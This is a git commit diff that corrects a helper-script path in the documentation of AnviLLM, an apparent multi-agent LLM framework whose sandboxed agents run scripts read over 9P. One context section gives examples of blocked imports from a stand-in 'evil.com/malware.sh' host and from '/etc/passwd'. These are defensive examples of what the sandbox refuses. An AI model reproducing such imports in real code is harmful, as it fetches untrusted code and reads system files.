Fix docs: tools path is anvillm/tools, not anvillm/tools/anvilmcp
This commit is contained in:
parent
c5b96bcac1
commit
4cf346934d
|
|
@ -351,7 +351,7 @@ Conductor analyzes dependencies, spawns specialized bots, and delegates work in
|
|||
**Tool:** `execute_code` — the only tool needed. Executes bash scripts in an isolated subprocess (sandboxed via landrun). Agents discover and invoke all AnviLLM functionality through 9P and helper scripts:
|
||||
|
||||
```sh
|
||||
9p read anvillm/tools/anvilmcp/check_inbox.sh # discover scripts
|
||||
9p read anvillm/tools/check_inbox.sh # discover scripts
|
||||
bash <(9p read tools/send_message.sh) ... # invoke them
|
||||
```
|
||||
|
||||
|
|
|
|||
|
|
@ -9,13 +9,13 @@
|
|||
Discover available helper scripts on-demand via 9P:
|
||||
|
||||
```bash
|
||||
9p ls anvillm/tools/anvilmcp/
|
||||
9p ls anvillm/tools/
|
||||
```
|
||||
|
||||
Read and invoke a specific script:
|
||||
|
||||
```bash
|
||||
bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) <agent-id>
|
||||
bash <(9p read anvillm/tools/check_inbox.sh) <agent-id>
|
||||
```
|
||||
|
||||
## Examples
|
||||
|
|
@ -23,7 +23,7 @@ bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) <agent-id>
|
|||
### Messaging
|
||||
|
||||
```bash
|
||||
bash <(9p read anvillm/tools/anvilmcp/send_message.sh) \
|
||||
bash <(9p read anvillm/tools/send_message.sh) \
|
||||
--to user --type PROMPT_RESPONSE --subject "Done" --body "Task complete"
|
||||
```
|
||||
|
||||
|
|
|
|||
|
|
@ -295,7 +295,7 @@ import { malicious } from "https://evil.com/malware.sh";
|
|||
3. **Local Imports Only**: Only import from workspace
|
||||
```bash
|
||||
// Allowed
|
||||
# Call tools from anvillm/tools/anvilmcp/check_inbox.sh";
|
||||
# Call tools from anvillm/tools/check_inbox.sh";
|
||||
|
||||
// Blocked (outside workspace)
|
||||
import { evil } from "/etc/passwd";
|
||||
|
|
|
|||
|
|
@ -9,19 +9,19 @@
|
|||
List available helper scripts:
|
||||
|
||||
```bash
|
||||
9p ls anvillm/tools/anvilmcp/
|
||||
9p ls anvillm/tools/
|
||||
```
|
||||
|
||||
Read a script to see its usage:
|
||||
|
||||
```bash
|
||||
9p read anvillm/tools/anvilmcp/check_inbox.sh
|
||||
9p read anvillm/tools/check_inbox.sh
|
||||
```
|
||||
|
||||
Invoke a script:
|
||||
|
||||
```bash
|
||||
bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) <agent-id>
|
||||
bash <(9p read anvillm/tools/check_inbox.sh) <agent-id>
|
||||
```
|
||||
|
||||
## Common Patterns
|
||||
|
|
@ -30,10 +30,10 @@ bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) <agent-id>
|
|||
|
||||
```bash
|
||||
# Check inbox
|
||||
bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) "$AGENT_ID"
|
||||
bash <(9p read anvillm/tools/check_inbox.sh) "$AGENT_ID"
|
||||
|
||||
# Send message
|
||||
bash <(9p read anvillm/tools/anvilmcp/send_message.sh) \
|
||||
bash <(9p read anvillm/tools/send_message.sh) \
|
||||
--to user --type PROMPT_RESPONSE --subject "Done" --body "Complete"
|
||||
```
|
||||
|
||||
|
|
|
|||
Reference in New Issue